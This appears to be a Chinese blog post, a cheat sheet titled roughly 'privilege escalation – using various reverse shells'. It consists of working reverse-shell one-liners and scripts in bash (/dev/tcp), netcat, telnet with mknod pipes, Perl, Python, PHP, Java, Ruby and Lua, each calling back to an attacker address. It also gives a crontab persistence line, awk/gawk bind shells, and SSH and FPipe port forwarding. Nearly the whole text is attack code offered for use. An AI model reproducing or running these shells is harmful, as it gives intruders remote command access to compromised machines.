系统提权-各种反弹shell使用

### [https://krober.biz/misc/reverse_shell.php](https://krober.biz/misc/reverse_shell.php)

### telnet to telnet 在目标系统生成一个转发shell,这个shell需要在攻击者本地监听两个端口分别是9970和9980
* nc -lvnp 9980 (攻击者本机本地监听9980,此处输入命令但结果显示会在本地监听的另一个端口显示)
* nc -lvnp 9970 (攻击者本机本地监听9970,此处是显示命令执行的结果)
* telnet 10.57.239.50 9980 | /bin/bash | telnet 10.57.239.50 9970

### Windows下端口重定向工具fpipe
* 在Windows环境下执行如下命令:
* FPipe.exe -l 801 -s 1081 -r 22 10.21.33.22
* 上述命令的含义:
* 表示在Windows环境下本地监听801端口,这个端口是供外部主机连接,然后外部主机尝试连接801端口,fpipe会将此连接进来的端口流量转发至本机的1081端口,之后将1081端口出来的流量转发至最终需要连接的10.21.33.22的22端口
* fpipe的下载地址:http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

### Linux下使用ssh进行本地,远程,隧道,或动态端口转发
* ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
* ssh -L 8080:127.0.0.1:80 root@192.168.2.80 Local Port
* ssh -R 8080:127.0.0.1:80 root@192.168.2.80 Remote Port
* ssh -D 127.0.0.1:9060 -N [username]@[ip]
* proxychains ifconfig

### 在netcat没有-e参数或者被删除禁用了可以使用mknod
* nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
* mknod backpipe p; nc 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机上执行)
* Note: 上述mknod的使用之间0<backpipe 1>backpipe不能有空格,否则执行不成功,当然这个backpipe的名称可以随便换


### netcat反弹shell
* nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
* nc 10.7.9.50 4488 -e /bin/bash (目标主机上执行)
* /bin/sh | nc 10.7.9.50 4488

### 不使用netcat可以使用/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统
* /bin/bash -i > /dev/tcp/10.7.9.50/4488 0<&1 2>&1 (目标主机上执行)
* bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
* 0<&196;exec 196<>/dev/tcp/10.7.9.50/4488; sh <&196 >&196 2>&196
* nc -lvnp 4488 (攻击者IP地址)

### 不用netcat和/dev/tcp
* mknod backpipe p && telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用&&的时候如果执行了一次生成了backpipe,再次执行此命令还显示已经存在backpipe执行不了,如果要再次执行可以更好backpipe名字或者删除backpipe)
* mknod backpipe p; telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用;的时候如果执行了一次生成了backpipe,再次执行此命令是没有问题,可以一直执行此相同的命令)
* rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.9.50 4488 >/tmp/f
* nc -lvnp 4488 (攻击者IP地址)

### 使用perl反弹shell
* perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.7.9.50:4488");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' (目标主机上执行)
* nc -lvnp 4488 (攻击者本地监听)

### 使用perl代码反弹shell
* nc -lvnp 4488 (攻击者本地监听)
* 新建并编辑脚本 vim reshell.pl
```
#!/usr/bin/perl

use Socket;
$i="10.7.9.50";
$p=4488;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
```

### 使用Python反弹shell
* nc -lvnp 4488 (攻击者本地监听)
* 新建并编辑脚本 vim reshellpy1.py
```
#!/usr/bin/python

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.7.9.50",4488))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

* 新建并编辑脚本 vim reshellpy2.py
```
这个暂未测试,需要更改脚本

#!/usr/bin/python
import socket,subprocess

HOST = '10.16.44.100' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()
```

### php反弹shell
* nc -lvnp 4488 (攻击者本机监听)
* php -r '$sock=fsockopen("10.57.239.50",4488);exec("/bin/sh -i <&3 >&3 2>&3");' (目标主机上执行)

### Java反弹shell
* nc -lvnp 4488 (攻击者本机监听)
```
暂未测试

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.7.9.50/4488;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
```

### ruby反弹shell
* nc -lvnp 4488 (攻击者本机监听)
* ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.7.9.50","4488");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

### lua反弹shell
* nc -lvnp 4488 (攻击者本机监听)
```
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.57.239.50','4488');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```

### 计划任务crontab反弹shell
* nc -lvnp 4488 (攻击者本机监听)
```
目标主机添加如下计划任务
* * * * * /bin/bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
```

### 使用awk或者gawk在目标主机监听端口,然后攻击者主动连接,这个脚本不是反弹脚本
```
新建编辑shell.gawk 添加如下脚本

#!/usr/bin/gawk -f

BEGIN {
Port = 4488
Prompt = "p0rietea> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

然后给其执行权限chmod +x shell.gawk
```
* awk也可以
```
新建编辑shell.awk 添加如下脚本

#!/usr/bin/awk -f

BEGIN {
Port = 4488
Prompt = "p0rietea> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

然后给其执行权限chmod +x shell.awk
在攻击主机上执行nc 10.7.9.50 4488
```系统提权-各种反弹shell使用

原文地址:https://www.cnblogs.com/autopwn/p/13525290.html